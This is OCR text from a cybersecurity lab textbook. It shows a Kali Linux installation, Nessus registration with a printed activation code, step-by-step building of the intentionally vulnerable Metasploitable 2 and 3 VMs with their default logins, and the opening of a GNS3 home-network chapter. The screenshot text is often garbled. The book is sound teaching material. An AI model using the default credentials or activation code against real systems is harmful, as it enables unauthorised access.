This is a shortlist of locations based on the language you selected. Choose "other” if your location is not listed.
Country, territory or area:

India ]
Ireland B
Israel

New Zealand
Nigeria
Philippines
Seychelles
Singapore
South Africa
United Kingdom

Vuniea seares

Zambia

Zimbabwe

other

A,

Go Back ][ Continue

Bokhes Bl &R rintcr

Figure 8 - Set region
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(1]

f.-" Kali Linux Mew [Running] - Oracle YM VirtualBox
3

Machine Wiew nput evires

Configure the keyboard

Keymap to use:

American English ()

Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengali

Belgian

Berber (Latin)

Bosnian

Brazilian

British English
Bulgarian (BDS layout)
Bulgarian (phonetic layout)
Burmese

Canadian French

LI | SN Y P 1] | —— |

w

Go Back H Continue

B O S [E e i

Figure 9 - Set keyboard layout
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Kali Linwex New [Running] - Oracle VM VirtualBoox

Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network, you

can make something up here.
Hostname:

kali

Screenshot | Go Back |[ Continue

Q&S Bl i ® #rightcri

Figure 10 - Set the host name as default
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Kali Linwx New [Running] - Oracle VM VirtualBox

Fi Marhine . et . EvicEs Hel

T
o

Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often something
that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make something up, but

make sure you use the same domain name on all your computers.

Domain name:

[

Go Back ][ Continue

Q&g B il EE 3 Rightcl

Figure 11 - Leave domain blank
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Kali Linux New [Running] - Oracle ¥M VirtualBoox — O x

m
T
T

lnput EVICES RElp

Set up users and passwords

A user account will be created for you to use instead of the root account for non-administrative activities.

Please enter the real name of this user. This information will be used for instance as default origin for emails

sent by this user as well as any program which displays or uses the user's real name. Your full name is a
reasonable choice.

Full name for the new user:

[ student

Go Back ” Continue

@i = & | =i & & @ right i

Figure 12 - Set username to student
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Kali Linuex Mew [Running] - Oracle VM VirtualBox — O >

Set up users and passwords

Select a username for the new account. Your first name is a reasonable choice. The username should start
with a lower-case letter, which can be followed by any combination of numbers and more lower-case letters.

Username for your account:

|

Go Back ][ Continue

B oo | E il e rihtcrl |

Figure 13 - Set account name to student
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Kali Linux Mew [Running] - Oracle VM VirtualBox — O x

m

i
T

o

Set up users and passwords

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

Choose a password for the new user:

Securityl

Show Password in Clear

Please enter the same user password again to verify you have typed it correctly.
Re-enter password to verify:

[ Securityl

|Show Password in Clear]

Screenshot Go Back ” Continue

Qi o Bl EE @ rightcr

Figure 14 - Set password
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Kali Linux Mew [Running] - Oracle WM VirtualBox = O *

File Machine

i
=

Devices Help

Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language” and select a country
that uses the desired time zone (the country where you live or are located).

Select your time zone:

Central
Mountain
Pacific
Alaska
Hawaii
Arizona

East Indiana

Samoa

Go Back ][ Continue

Figure 15 - Select time zone
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Kali Linue New [Running] - Oracle YM VirtualBox

Devices  Help

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you prefer,

you can do it manually. With guided partitioning you will still have a chance later to review and customise the
results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

Go Back H Continue

Qe S | Bl @ @ richtcal

Figure 16 - Use the entire disk
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Kali Linux New [Running] - Oracle ¥YM VirtualBox = O x

m

Machine View Input Devices Help

KALI

Partition disks

Mote that all data on the disk you select will be erased, but not before you have confirmed that you really
want to make the changes.

Select disk to partition:

SCSI3 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK

Go Back H Continue

Qo Bl &S &Rt crl

Figure 17 - Use default disk partition
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Kali Linux: New [Running] - Oracle VM VirtualBox — O x

File  Machine View Input Devices Helf

KALI

Partition disks

Selected for partitioning:
SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 26.8 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first one.
Partitioning scheme:

All files in one partition (recommended for new users)

Separate /home partition

Separate /home, /var, and /ftmp partitions

Go Back ][ Continue

@ & B iR @ @ richtcul

Figure 18 - Use all files in one partition
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Kali Linux New [Running] - Oracle ¥YM VirtualBox = O x

_______ Trnnt Devic

A

il

(n]

[
i
m

KALI

Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings (file
system, mount point, etc.), a free space to create partitions, or a device to initialize its partition table,

Guided partitioning

Configure software RAID

Configure the Logical Volume Manager
Configure encrypted volumes

Configure iSCSI1 volumes
=~ SCSI3 (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK
> #1 primary 25.8GB f extd !

> #5 logical 1.0 GB f swap swap

Unde changes to partitions

Finish partitioning and write changes to disk

Screenshot ] [ Help Go Back ] [ Continue

B @ = iR EE & riohtcrl

Figure 19 - Verify settings and continue
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Kali Linux New [Running] - Oracle ¥YM VirtualBox = O x

m

o
T

m

Input Devices

A

il

(n]

KALI

Software selection

At the moment, only the core of the system is installed. The default selections below will install Kali Linux with
its standard desktop envirenment and the default tools.

You can customize it by choosing a different desktop environment or a different collection of tools.
Choose software to install:

Desktop environment [selecting this item has no effect]

... Xfce (Kali's default desktop environment)

[ ... GNOME

[] ... KDE Plasma

Collection of tools [selecting this item has no effect]
-.. topl0 -- the 10 most popular tools

... default -- recommended tools (available in the live system)

Qe S | Bl @ @ richtcal

Figure 20 - Software selection is default
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Kali Linuee New [Running] - Oracle YM VirtualBox: — O x

Ba Helo

KALI

Install the GRUB boot loader

It seems that this new installation is the only operating system on this computer. If so, it should be safe to
install the GRUB boot loader to your primary drive (UEFI partition/boot record).

Warning: If your computer has another operating system that the installer failed to detect, this will make that
operating system temporarily unbootable, though GRUB can be manually configured later to boot it.

k. Install the GRUB boot loader to your primary drive?
) No

o Yes

Screenshot ‘ Go Back ‘[ Continue

BOEFS 1 HBEEE

Figure 21 - GRUB loader
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Kali Linue New [Running] - Oracle YM VirtualBox
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KALI

Install the GRUB boot loader

You need to make the newly installed system bootable, by installing the GRUB boot loader on a bootable

device. The usual way to do this is to install GRUB to your primary drive (UEFI partition/boot record). You may
instead install GRUB to a different drive (or partition), or to removable media.

Device for boot loader installation:
Enter device manually

/dev/sda (ata-VBOX_HARDDISK VBc2e65760-54513234)

Go Back H Continue

[
Q@ ol | E il & @ rihtcri
Figure 22 - Select the device
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Kali Linux New

[Running] - Oracle VM VirtualBoox
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KALI

Finish the installation

Installation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media, so that you boot into the new system rather than restarting the installation.
Please choose <Continue> to reboot.

Go Back H Continue
b
&L EBEE Ry
Figure 23 - Finish the installation
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JL N NN JE

(] Tenable Multiproduct N+

@ & https://www.tenable.com/lp/campaigns/22/try us-mult o i

KaliLinux #& KaliTools <« KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

attack surface and traditional IT assets.

Otenable

Nessus Expert

Otenable

Nessus Professional

Built for the Modern Attack Surface

Scan your IT devices, discover your 1in Vulnerability Assessment
internet-facing assets and secure your
cloud infrastructure. can your IT assets, identify your

RECOMMENDED

ulnerabilities and prioritize your

remediation efforts.
Try Now

Buy Nessus Expert Now

&S B @ @Rt crl

Figure 24 - Install Nessus
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ﬂ Kali Linux New [Running] - Oracle WM VirtualBox

File Machine View Input Devices Help

S mEP O]

Downloads - Thunar

File Edit View

) Recent
Trash
Documents
Music
Pictures
Videos
Downloads

Devices
_E File System

Network

Go Bookmarks

{4 # student

Nessus-1(
ubuntu1404
4 del

D Browse Network

Openterm

Help

Downloads

@ OpenWith "Engrampa Archive Manager"

Open With Other Ap
Set Default Application...

Send To

W Move to Trash
Rename...

Extract Here

B ExtractTo...

B Create Archive...

Open Terminal Here

= Properties...

LIHUA — Ul |

(3) Download

= 1006 | @ ©C

Google Hacking DB

Summary
Release Date: Apr 1

Release Notes:

Signing Keys:

& & = il & @ E) right cul

Figure 25 - Open download folder
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ﬂ Kali Linux New [Running] - Oracle WM VirtualBox

File Machine View Input De Help
S EmPk o] : O ) A § 145

#» A Warning: Potential Secur x = +

<« C @ A Not Secure  https://kali:8834

KaliLinux # KaliTools = KaliDocs & KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
&=

Kali Linux

VA hitps:/fwww kaliorg/ j3| Security Risk Ahead

Firefox detected a potential security threat and did not continue to kali. If you visit this site, attackers
could try to steal information like your passwords, emails, or credit card details.

What can you do about it?
The issue is most likely with the website, and there is nothing you can do to resolve it.

If you are on a corporate network or using antivirus software, you can reach out to the support teams for assistance.
You can also notify the website's administrator about the problem.

Learn more...

Go Back (Recommended) Advanced...

Someone could be trying to impersonate the site and you should not continue.

Websites prove their identity via certificates. Firefox does not trust kali:8834 because its certificate
issuer is unknown, the certificate is self-signed, or the server is not sending the correct intermediate
certificates.

Error code: SEC ERROR_UNKNOWN_ISSUER

View Certificate

Go Back (Recommended) Accept the Risk and Continue

[#] right Ctrl

https:/fwww.kali.org

Figure 26 - Using Firefox to navigate Nessus
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Kali Linux New [Running] - Oracle WM VirtualBox

File Machine View Input Devices Help
SmP O
Nessus [ Setup x

C @ O & kali
KaliLinux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Otenable

Nessus

Welcome to Nessus

You can click Settings to configure the Nessus proxy,
plugin feed, and encryption password settings before
you start the installation, or you can select Register
Offline to configure an offline installation.

When you are ready, click Continue to proceed with
the installation.

B Register Offline

Settings Continue

Figure 27 - Continue
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I e
Nessus [ Setup x

C @ O G kali

KaliLinux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Otenable

Nessus

Welcome to Nessus

Choose how you want to deploy Nessus. Select an
option to get started.

. Set up a purchased instance of Nessus
@ Start a trial of Nessus Expert

@ start a trial of Nessus Professional

0 Register for Nessus Essentials

@ Link Nessus to another Tenable product

Back Continue

B oS il E @ E st eyl

Figure 28 - Register
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I e
Nessus [ Setup x

C @ O G kali

KaliLinux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Otenable

Nessus

Get an activation code

To register for a free Messus Essentials activation
code, enter your information.

First Name Last Mame

Already have activation code? Skip this step to enter it
manually.

Back Register

Figure 29 - Skip if already have the code
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Nessus [ Setup x

C @ O G

Figure 30 - Input the activation code

kali

Kali Linux # KaliTools = KaliDocs # KaliForums e\ Kali NetHunter Exploit-DB

Otenable

Nessus

Register Nessus

Enter your activation code.

Activation Code

GYUE-|EG4-2VE|-Y85Z-JR35

Continue

Google Hacking DB OffSec

& (@ [#] right ctr
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I e
Nessus [ Setup x

C @ O & o kali

KaliLinux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Otenable

Nessus

Create a user account

Create a Nessus administrator user account. Use this
username and password to log in to Nessus.

Username *

mheathvanhorn

Password *

..................l

Submit

& [#] right ctr

Figure 31 - Create username and password
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CHAPTER 13

Create a Vulnerable Desktop VM

MATHEW J. HEATH VAN HORN, PHD

Metasploitable is an intentionally vulnerable virtual machine (VM) that can be used to conduct security training,
test security tools, and practice common penetration testing techniques. There are different flavors of
Metasploitable (original, 2, and 3) and it offers many features provided by servers and websites except it is
completely vulnerable to attacks. Metasploitable 2 is easier to build and based on Linux. However, it's outdated
and has been replaced by Metasploitable 3 which is based on Windows Server.

LEARNING OBJECTIVES

+ Successfully download, install, and run Metasploitable 2 in VirtualBox and add it to the GNS3
environment.

+ Successfully download, build, and run Metasploitable 3 in VirtualBox and add it to the GNS3
environment.

PREREQUISITES

+ Chapter 2 - Setting up a GNS3 environment
+ Chapter 6 - Adding a Virtual Machine to GNS3

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

+ MikroTik Documentation - Getting Started, https://help.mikrotik.com/docs/display/ROS/Getting+started

* Metasploitable Documentation

+ RKIiLAB, "Metasploitable2 kernal panic - not syncing: 10-APIC error solution (Virtualbox)”,
https://www.youtube.com/watch?v=aYxfhMrjVhk

+ elconak Network & Security, “Lab Setup 1 - Import Metasploitable 2 Linux into Oracle VirtualBox - boot
with ‘noapic’ option”, https://www.youtube.com/watch?v=0TSdSIdFbIQ

265


https://help.mikrotik.com/docs/display/ROS/Getting+started
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+ Metasploitable 3 Quickstart guide, https://github.com/rapid7/metasploitable3/blob/master/README.md

+ Metaspoitable 2 Exploitability Guide, https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-
guide/

+ Metasploitable 3 Exploitability Guide, https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities

CONTRIBUTORS AND TESTERS

Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Installing Metasploitable 2 - Sourceforge

This is an easy way to download Metasploitable 2 as a VM. However, it is an older repository.
NEVER expose this VM to an untrusted network. Use NAT or Host-Only modes when using this VM.
Metasploitable 2 is VERY old. It still works as a vulnerable machine, but its usefulness may be limited.

1. Visit SourceForge and download the Metasploitable 2 zip file here

2. Once downloaded unzip the file and note where the file is extracted. In our example, we extracted it
to the downloads folder

L Daumlnade A + g
- (] *
metasploitable-linux-2.0.0 X -
T ] (J > Downloads > metasploitable-linux-200 > Search metasploitable-linux-2.0.0 Q
(
(®) New TL Sort = View aes [E Details
~l Name Date modified Type Size
] R Today
Metasploitable2-Linux 3/31/2024 %:01 PM File folder
> &
>
> o

Figure 1 - Metasploitable 2 in Downloads folder

3. Open VirtualBox and create a new virtual machine

3.1. On the VirtualBox menu click on Machine then New...


https://github.com/rapid7/metasploitable3/blob/master/README.md
https://github.com/rapid7/metasploitable3/blob/master/README.md
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities
https://sourceforge.net/projects/metasploitable/files/
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'.I‘j Oracle VM VirtualBox Manager

File Machine Snapshot

EG New...
= 97 Add...
i A

@

@
2

E@
i
_EEQ}

Figure 2 - Create a new VM

Help
Ctrl+
Ctrl+a

&l

Take Delete Restore | Properties Clone

B @ OP

Settings Discard Start

Ctrl+5
Ctrl+0

MName

@ current State

Settings...
Clone...

Move...

Export to OCL...
Remove...

Move to Group L4

Start 3

Pause

3.2. Choose a name for the new Virtual Machine (VM). In this case, we will call it Metasploitable
2

3.3. Select the folder where you want the VM to reside

3.4. Select Type: Linux
Select Version: Oracle Linux (64-bit)

.'l‘]' Create Virtual Machine ?
Virtual machine Name and Operating System
Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will be
used throughout VirtualBox to identify this machine. Additionally, you can select an IS0 image which may be used
to install the guest operating system.
Mame: Metasploitable 2 &
Folder: == E: w
IS0 Image: <not selected: i
Edition:
Type:  Linux o ?é"'l
Version:  Orade Linux (54-bit) ~
Skip Unattended Installation
';,D Mo IS0 image is selected, the guest 05 will need to be installed manually.
Help Expert Mode ack Mext Cancel

Figure 3 - VM name and operating system selections

3.5. Click Next

3.6. Base memory: 2048 MB

Processors: 2
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-t
(]
&
m
3

5
a
[al

]
m

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.
Enabling EFI is also possible,

Base Memary: ' 2043 MB |5
4MB 32758 MB
Processors: ' 2 =
1CPU 20 CPUs

[_] Enable EFI (spedal OSes only)

Help Back Mext Cancel

Figure 4 - VM Hardware Selections

3.7. Click Next
3.8. Click on Use an existing virtual hard disk file

3.9. Click on the folder next to the dropdown menu

A Create Virtual Machin

Virtual Hard disk

If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk
file or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.

() Create a Virtual Hard Disk Mow
Disk Size: 20.00 GB
4,00 ME 2.00TE
Pre-allocate Full Size
Q) Use an Existing Virtual Hard Disk File
(&% ubuntu Server with GUI.vdi (Normal, 50.00 GB) a )
() Do Mot Add a Virtual Hard Disk

Help Back Mext Cancel

Figure 5 - Use and Existing Virtual Hard Disk

3.10. Click on the Add button
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E,TI Hard Disk Selecto
Add  Refresh
Mame Virtual Size Actual Size
v Attached
Figure 6 - Virtual Hard Disk Selector
3.11. Navigate to the location of the file you extracted and select it
§ Please choose a virtual hard disk file
€ v o > Downloads » metasploitable-linux-2.0.0 » Metasploitable2-Linux v Search Metasploitable2-Lin... @
Organize » Mew folder =~ 0 0
o~ Mame Date mcclifi\r:,tl Type Size
(] ~ Today
\# Metasploitable 3/31/2024 9:01 PM Virtual Machine Di... 1,880,512 KB

> &
> @

- ]

+

=

L

J ]

File name: | Metasploitable ~ | Allvirtual hard disk files (*vmd ~
Open Cancel

Figure 7 - Add the Metasploitable Virtual Hard Disk File

3.12. Click on Open and notice it is now in the hard disk selector menu. Keep it selected and

click on Choose
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@] Hard D = O
Add Refresh
MName Virtual Size Actual Size
~  Attached
DHCP. vdi 50.00 GB 15.76 GB
GNS3 YM-disk00 1. vdi 19.53GB 6.53GB
GN53 YM-disk002. vdi 438.28 GB 636.00 MB
kaliinux-2023, 3-virtualbox-amda4. vdi 30.09 GB 13.62GB
Metasploitable, vmdk 8.00 GB 1.79GB
NS1.vdi 50,00 GB 15.72GB
» pf5ense Clone.vdi 16.00 GB 730.00 MB
» pfSense.vd 16.00 GB 730.00 MB
» TC-BLUE-disk1.vdi 500.00 MB 41,00 MB
» TC-RED-diskl.vdi 500.00 MB 41.00 MB
Tiny Core Linux.vdi 500.00 MB 41.00 MB
» Ubuntu Desktop Clone.vdi 25.00 GB 12.45GB
» Ubuntu Desktop. vdi 25.00GB 12,96 GB
> Ubuntu Server with GUL vdi 50.00 GB 9.99 GB
> Ubuntu Server,vdi 25.00 GB 5.71GB
wazuh-4.7.2-disk-L.vdi 50,00 GB 5.60 GB
Window Nexted VMs, vdi 100.00 GB 21.75GB
» Windows Server Trying again. vdi 50.00 GB 9.89GB
> Windows Server with NO AD.vdi 100.00 GB 9,26 GB
' Not Attached
Metasploitable. vmdk 8.00 GB 1.79 GB
Search By Name Q @
Choose Cancel

Figure 8 - Select the Metasploitable Virtual Hard Disk File

3.13. Itis now selected as our hard disk file, so click Next
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b
Virtual Hard disk
If you wish you can add a virtual hard disk to the new machine. You can either create a new hard disk
file or select an existing one. Alternatively you can create a virtual machine without a virtual hard disk.
() Create a Virtual Hard Disk Now
Disk Size: 20.00 GB
Pre-allocate Full Size
© Use an Existing Virtual Hard Disk File
Metasploitable, vmdk (Normal, &.00 GEB) w B
() Do Mot Add a Virtual Hard Disk
Help Back Mext Cancel
Figure 9 - Use Metasploitable Virtual Hard Disk File
3.14. Click Finish and you can see it added to the rest of your VMs
Ll
@) Gy 8w V.
Windows Server with B0 AD (Nothing instalied or mod#ied) L ! Eroceries) Cone | Settnos —_L
D Powersd OFF Hame -
@ Current State
a .Waﬂlhvl.}.)ﬂlm
@ Powered Off
Attributes Informaton
B e -
Description:
DMCP Server
(@ Inaccessible
@ Pt i=

Figure 10 - Metasploitable 2 VM added to Virtual Machines

4. Now you can start it up like any other VM and the login information is
USER: msfadmin

PASSWORD: msfadmin

A note on hardware
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Btarting up .
L 6.3379081 ..MP-BIO3 bug: 8254 timer not conmected to I0-APIC
1 7.4249291 Kernel panic - not syncing: I0-APIC + timer doesn’t work?! Boot w

ith apic=debuy and send a report. Then try booting with the 'woapic’ option

Figure 11 - Metasploitable 2 startup error

Metasploitable2 is very old and hardware and software have changed. If you get an error when you try to start
the machine, take the following steps:

4.1. Close the virtual machine

4.2. Open settings, go to the motherboard settings and disable all the extended features

P
E General System
System Motherboard Processor Acceleration
|§| Display Base Memory: ' 2043 MB |=
é, Storage 4ME 32768 MB
’tDZI i Boot Order: Floppy
| udio —
A 'Q:' Optical
@' Metwark Hard Disk
[ @ Metwork
@ Serial Ports
Chipset: PIIX3

£§> usB TPM: Mone -~
D Shared Folders Painting Device: PS/2 Mouse L

Extended Features: [ Enable Ij0 APIC
Ifl User Interface wiEnded reatres — nable I

|_| Enable Hardware Clock in UTC Time
[ Enable EFI (special OSes only)

t K

1m
o
o
o
o
|||
ol

Invalid settings detected OK Cancel Help

Figure 12 - Disable Extended Features

4.3. Press ok

4.4, Start the virtual machine and get ready to hit the Esc key as soon as it starts
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Ubuntu 8.04, kernel 2.6.24-16-server

Ubuntu §.94, kernel Z.6.24-16-server (recovery mode)

Ubuntu 8.04, memtest86+

Zo B@EE @ rgtc

Figure 13 - Start the VM and press the Esc key

4.5, Press e to edit the boot commands
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root (hd®,0)

kernel rsuvmlinuz-2.6.Z24-16-server root=rdev- mapper-metasploitable-roo=
initrd ~sinitrd.img-2.6.24-16-server

Zo B@EE @ rgtc

Figure 14 - Edit the boot commands

4.6. Press e to edit the root command to add
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o B@EE - @ rgtc

Figure 15 - Add the noapic command

4.7. Repeat for the kernel command and add

4.8. Press b for boot

4.9. This is a temporary solution. But the machine will boot so you can apply a more permanent
solution. Log onto the machine using msfadmin msfadmin. Then type

sudo nano /boot/grub/menu.lst

NOTE: /boot/grub/menu.lst is a lowercase ‘L’ as in list, NOT a ‘1" as in 1st
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i
GNU nano 2.0.7 File: -boot/grubsmenu.lst
1= h (8 0 h e b (0
) ) ) i )
I hy e 0 h
[ ) [
i 0 e h he 0 i
Hi E ) ﬂ E i 0 E
0 E E 0 )
1 B e CO B
} 0 0 ¥ e e 0 0
E [ [ D00 [
()
0
! () () ) [) E () OO0 E E
I - - -
[
[ Read 146 lines 1
8 Ge £ 0 el ii| Re e B Prev Page B3 = C PO
X J W EI'E !l Ne P u 0

[#] right ctrl

: e x t g
o EiRd

Figure 16 - menu.lst file opened in nano

This will open the grub boot configuration file called menu.lst

4.10. Use the arrow keys to scroll down after the default options and stop at a line called kernel
(highlighted in yellow)
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o
GNU nano Z2.0.7 File: sbootsgrub-menu.lst
h e 0
HH 0 e ) D E 0 ()
h e 0
e 1 D
I 5.0 0 0
idaln 0,0
| b i E E 00 E 0 h 00
h 5.0 i b 0 ode
00 0,0
G i - - 00 - 0 h 00
G o 1 Rpi e ik T P K = c P'o
X J W it Ne u D

= - T =
(e | B &) @ rightcl

Figure 17 - kernel line in menu.lst file

4.11. Use the right arrow key to go to the end of this line and add -> noapic (highlighted in yellow)
after the word splash
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GNU nano 2.0.7 File: -boot/grubsmenu.lst

[| Prev Page - C Po

e e iy To
e o | =il &

[#] right ctrl

Figure 18 - noapic added to end of kernel line in menu.lst file

4.12. Save your change by pressing A0 Write Out (old school way of saying save)

4.13. Exit nano by pressing X Exit

4.14. Reboot the VM and it should boot without having to type noapic twice

Phase Il - Installing Metasploitable3

Metasploitable3 comes in two flavors: Windows and Linux. Because of licensing issues, sharing Metasploitable
3 as a Windows VM is prohibitive, but you may build the image without violating any laws.

PHD

1. Visit Rapid7's GitHub page for metasploitable3 and read the README file. You will see lots of steps.

We are going to follow the steps for building the VM using Windows

2. Install some supporting software


https://github.com/rapid7/metasploitable3/blob/master/README.md
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2.1. Install Packer
2.1.1. Download the precompiled binary (AMD64) for Windows 11 here

2.1.2. Once downloaded, extract it from the zip file. We are extracting all the
supporting software files to the Downloads folder

Select a Destination and Extract Files

Files will be extracted to this folder:

ChUsers\mheathvanhorm\Downloads Browse...

Show extracted files when complete

Figure 19 - Extract the downloaded file

2.1.3. In the Windows Start menu type “environment variables” and click on the menu
item when it appears


https://developer.hashicorp.com/packer/install
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Q  envi
o o Schoaol Apps Documents Web Settings Pe P

Best match

Edit the system environment

' N
I G variables ]

Control pane

Edit the system envi

Figure 20 - Search environment variables

2.1.4. Click on the Environment Variables button

Compufer Hame  Hadwae  Advarcsd  Segen Prfection  Remobe

Fou mus b= logged on a3 an Admesirator bo make most of Fess changes
Parfomnance
Vil effects, processor schaduling. memony uaage, and vinual memony

Semngs
Uy Profiles
Deshiop seiings mlabed 1o yor sgron

Selings
Startup and Reoowerny
Syelem dadup, mystem falurs, and debuggrg mlomation

Semings

[ Envronmert Variahes.. |

0K Cancel

Figure 21 - System Properties Window

2.1.5. Scroll down to Path and click on edit
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User variables for mheathwvanhorn

Variable

Onelrive
OneDriveCommercial
OneDlriveConsurmer
Path

TEMP

TMP

Value

ChUsers\mheathvanhorOneDrive - Embry-Riddle Aeronautical U...
ChlUsersimheathvanhorn' OneDrive - Embry-Riddle Aeronautical U...
ChUsers\mheathvanhornOneDrive
Ch\Users\mheathvanhormtAppDatat Local\Microsoft\ WindowsApps...
Ch\Users\mheathvanhorn\AppDatatLocal\Temp
ChUsers\mheathvanhernAppDatatLocall Temp

Systermn variables

Variable Value
ACSetupSvcPort 23210
ACSvcPort 17532
ComSpec CAWindows\system32\cmd.exe
DriverData CAWindows\System32\Drivers\ DriverData
MUMBER_OF_PROCESSORS 20
OculusBaze C:h\Program Files\Oculus',
05 Windows NT
Mew... Edit... Delete
oK Cancel

Figure 22 - Environment Variables Window

2.1.6. Click on new then browse then click on the downloads folder
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Edit environment variable

SUSERPROFILESS AppDatatLocalhMicrosoft\WindowsApps
ChProgram Files (x36)\Mrmap
ChUsers\mheathvanhorn' Downloads

QK

Mew

Edit

Browse...

Delete

Mowve Up

Maove Down

Edit text...

Cancel

Figure 23 - Adding a folder to the path variable

2.1.7. Click ok until the system properties menu closes

2.1.8. Open a new PowerShell window for the changes to take effect

2.1.9. Type packer (highlighted in yellow) and you should get a list of available

commands. This means Packer is working
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N

P2 Windows PowerShell X + v

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\mheathvanhorn> packer
Usage: packer [—version] [—help] <command> [<args>]

Available commands are:
build build image(s) from template
console creates a console for testing variable interpolation
fix fixes templates from old versions of packer
fmt Rewrites HCL2 config files to canonical format
hcl2_upgrade transform a JSON template into an HCL2 configuration
init Install missing plugins or upgrade plugins
inspect see components of a template
plugins Interact with Packer plugins and catalog
validate check that a template is valid
version Prints the Packer version

PS C:\Users\mheathvanhorn>

Figure 24 - Image of packer working

2.2. Install Vagrant

2.2.1. Visit the Vagrant downloads page and download the appropriate package

2.2.2. Once downloaded, you can click on the file and install it like any other Windows
program

2.2.3. Restart the Computer
2.2.4. Open Windows PowerShell
2.2.5. Type vagrant to see a menu of commands

2.2.6. Create a new vagrant environment by typing

vagrant init

2.2.7. Install the vagrant reload plugin that allows the reloading of VMs as they are
being created by typing

vagrant plugin install vagrant-reload
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2.2.8. Create a new vagrant box by typing

vagrant box add hashicorp/bionicé64

2.2.9. When asked, choose option 2 for VirtualBox

Ps C:\Users\mheathvanhorn> vagrant box add hashicorp/bioniceu
==> box: Loading metadata for box 'hashicorp/bionicé4"
box: URL: https://vagrantcloud.com/api/v2/vagrant/hashicorp/bionicsd
This box can work with multiple providers! The providers that it
can work with are listed below. Please review the list and choose
the provider you will be working with.

1) hyperv
2) virtualbox
3) vmware_desktop

Enter your choice: 2
==> box: Adding box ‘'hashicorp/bionicéd' (v1.8.282) for provider: virtualbox
box: Downloading: https://vagrantcloud.com/hashicorp/boxes/bionicél/versions/1.0.282/providers/virtual
box/unknown/vagrant . box
box:
==> box: Successfully added box 'hashicorp/bionicéd' (v1.0.282) for 'virtualbox'!
PS C:\Users\mheathvanhorn>

Figure 25 - Select option 2 for VirtualBox

2.3. Install both versions of metsasploitable (Windows and Linux) by doing the following:

2.3.1. Create a new directory by typing

mkdir metasploitable3-workspace

2.3.2. Navigate to the directory by typing

cd metasploitable-workspace

2.3.3. Extract both versions of metasploitable3 by typing the following (all on one
line)

Invoke-WebRequest -Uri “https://raw.githubusercontent.com/

rapid7/metasploitable3/master/Vagrantfile” -OutFile “Vagrantfile”

2.3.4. Start the building of the VMs by typing

vagrant up
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Figure 26 - This could take awhile

2.4. This will take a while, but when it is finished, you will have two new VMs in VirtualBox. The
credentials for both machines is:

USER: vagrant

PASSWORD: vagrant

3. Now add them to the GNS3 environment for future use

End of Lab
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PART Il

BUILDING AN ENTERPRISE
NETWORK

287
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CHAPTER 14

Your First Network

MATHEW J. HEATH VAN HORN, PHD

A user's experience with network devices varies widely. Gamers are probably familiar with port forwarding on
their home router, but may not understand why these actions are needed. Others may have never been interested
in how the magic network box in their home works.

This exercise helps all users get familiar with using the GNS3 environment. We used a typical home
environment because some users have probably encountered this type of setup before. However, our testers
found that even the most novice users could follow these instructions to gain an understanding of using GNS3.

We had to take some liberties since many home network devices are all-in-one solutions, but learners should
focus on using the tools and not how close it resembles “real life”.

Estimated time for completion: 15 minutes

LEARNING OBJECTIVES

+ Create a typical home network in the GNS3 network

+ Become familiar with labels and symbols in the GNS3 network

PREREQUISITES

+ Chapter 2 - Setting Up a GNS3 Environment

+ Chapter 4 - Installing an OpenWRT Router
+ Chapter 6 - Adding a Virtual Machine to GNS3

DELIVERABLES

+ One screenshot of the completed GNS3 Environment

RESOURCES

+ N/A

289
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CONTRIBUTORS AND TESTERS

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

« Sawyer Hanson, Cybersecurity Student, ERAU-Prescott

+ Julian Romano, Cybersecurity Student, ERAU-Prescott

* Quinton D. Heath Van Horn, 7th Grade

+ David Reese, Mathematics Student, SUNY Brockport

+ Cody Shinkyu Park, Honeywell Software Engineer, ERAU-Prescott Alumni
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Background Information

This LAB is designed to resemble a typical home network. Some adjustments will need to be made because
you are unable to see the device or the wireless signals. So, we will take this opportunity to familiarize you with
the setup and then you can add your own devices.

Internet Service Provider (ISP) ISP
The ISP is the internet cable that enters your home. There

are different mediums that this cable could be (fiber optic,

wireless satellite, twisted pair copper wire, etc.). For this

lab, just think of the ISP as the internet infrastructure

beyond your home.

Router Router
